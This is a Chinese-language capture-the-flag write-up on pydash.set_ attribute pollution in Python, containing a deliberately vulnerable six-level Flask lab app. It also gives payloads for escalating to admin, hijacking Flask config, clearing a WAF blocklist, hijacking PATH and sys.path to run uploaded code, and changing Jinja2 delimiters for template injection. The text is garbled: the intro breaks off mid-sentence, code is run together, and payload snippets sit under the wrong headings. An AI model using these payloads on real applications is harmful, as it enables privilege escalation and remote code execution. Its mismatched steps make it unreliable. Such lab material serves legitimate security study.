漏洞简介
Pydash 是著名的 JavaScript 库 Lodash 的 Python 移植版。它提供了一系列工具函数来处理数据。
它的核心漏洞点在于该函数允许用户通过字符串路径(Dot Notation,如A.B.C)来设置嵌套对象或字典的值。
在旧版本的pydash( 0: return f"[Level 2 FAIL] WAF Active. Blocked items: {GLOBAL_WAF_BLOCKLIST}
", 403 return "[Level 2 CLEAR] WAF disabled!
"# [关卡 3] Flask 配置劫持 (Config Hijacking)@app.route('/level3/flag')def level3(): # 目标:修改 app.config['SHOW_THE_FLAG'] if app.config.get('SHOW_THE_FLAG'): return "[Level 3 CLEAR] Flag: CTF{CONFIG_HIJACKED}
" return "[Level 3 FAIL] Flag is hidden in config.
", 403# [关卡 4] 环境变量劫持 (os.environ Injection)@app.route('/level4/cmd')def level4(): # 模拟系统调用一个名叫 'sys_health_check' 的工具 # 实际上系统里没这个命令,依赖 PATH 去找 try: # 注意:这里没有写绝对路径,给了 PATH 劫持的机会 # 我们利用 upload 上传一个叫 sys_health_check 的脚本到 /tmp/ctf_uploads # 然后污染 PATH 包含该目录 output = subprocess.check_output(["sys_health_check"], shell=False, env=os.environ) return f"[Level 4 CLEAR] Cmd Output: {output.decode()}
" except Exception as e: return f"[Level 4 FAIL] Command failed: {str(e)} (PATH: {os.environ.get('PATH')})
"# [关卡 5] Jinja2 全局变量/语法污染 (Jinja2 Globals/Delimiters)@app.route('/level5/ssti')def level5(): user_input = request.args.get('name', 'Guest') # 强力过滤:禁止使用 {{ 和 }},甚至禁止 class, globals 等关键字 if '{{' in user_input or 'class' in user_input: return "Hacker detected!" # 目标:污染 Jinja2 配置,把定界符改为 [[ ]] 从而绕过检测 template = "Hello " + user_input return render_template_string(template)# [关卡 6] Python 模块导入劫持 (Module Hijacking)@app.route('/level6/import')def level6(): try: # 尝试导入一个不存在的插件 # 目标:上传一个 malicious_plugin.py 到 /tmp/ctf_uploads # 然后污染 sys.path import malicious_plugin return f"[Level 6 CLEAR] {malicious_plugin.run()}
" except ImportError: return f"[Level 6 FAIL] Module 'malicious_plugin' not found in {sys.path}
"if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)[/code]污染类属性
- 目标:修改User类的is_admin为True
- payload:
- pydash.set_(obj, path, value)
复制代码
劫持Flask配置
- 目标:修改app.config[‘SHOW_THE_FLAG’]
- payload:
- # 场景:合并用户配置到默认配置
- def merge_config(user_input):
- config = {} #这就是 obj,一个空字典
- # 或者
- # config = {"theme": "dark", "lang": "en"}
- # 漏洞发生地
- for key, value in user_input.items():
- pydash.set_(config, key, value)
复制代码
绕过WAF
- 目标:清空内部全局变量GLOBAL_WAF_BLOCKLIST
- payload:
- __class__.__init__.__globals__.SECRET_KEY
复制代码
污染os.environ
系统尝试执行sys_health_check,但没有这个命令。我们造一个假的,并把路径加到PATH里。
创建一个文件名为sys_health_check的可执行文件。- class User:
- def __init__(self):
- self.username = "guest"
- self.is_admin = False
- user = User() # 这就是 obj,一个实例对象
- # 场景:更新用户信息
- # 开发者想实现:输入 "username" 改名,输入 "is_admin" (如果未过滤) 提权
- pydash.set_(user, user_input_key, user_input_value)
复制代码 这里注意如果想执行这个文件需要有x权限,这里不过多说明,只是演示命令劫持。- __init__.__globals__.SECRET_KEY
复制代码 访问/level4/cmd,服务器会在/tmp/ctf_uploads找到sys_health_check并执行。
Jinja2全局变量污染
题目有一个SSTI漏洞点,但是过滤了双大括号,我们将variable_start_string改为双中括号。- {
- "key": "__class__.is_admin",
- "value": true
- }
复制代码
这样就可以用[[]]代替{{}}进行sstizhu'ru
Python模块导入劫持
import malicious_plugin失败,我们上传它并把上传目录加入sys.path。
首先本地创建恶意的malicious_plugin.py- {
- "key": "__init__.__globals__.app.config.SECRET_KEY",
- "value": "123"
- }
复制代码 调用题目中的/api/upload上传它。
然后污染sys.path。- {
- "key": "__init__.__globals__.app.config.DEBUG",
- "value": true
- }
复制代码 访问/level6/import,python就会加载我们的恶意脚本,实现rce。
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |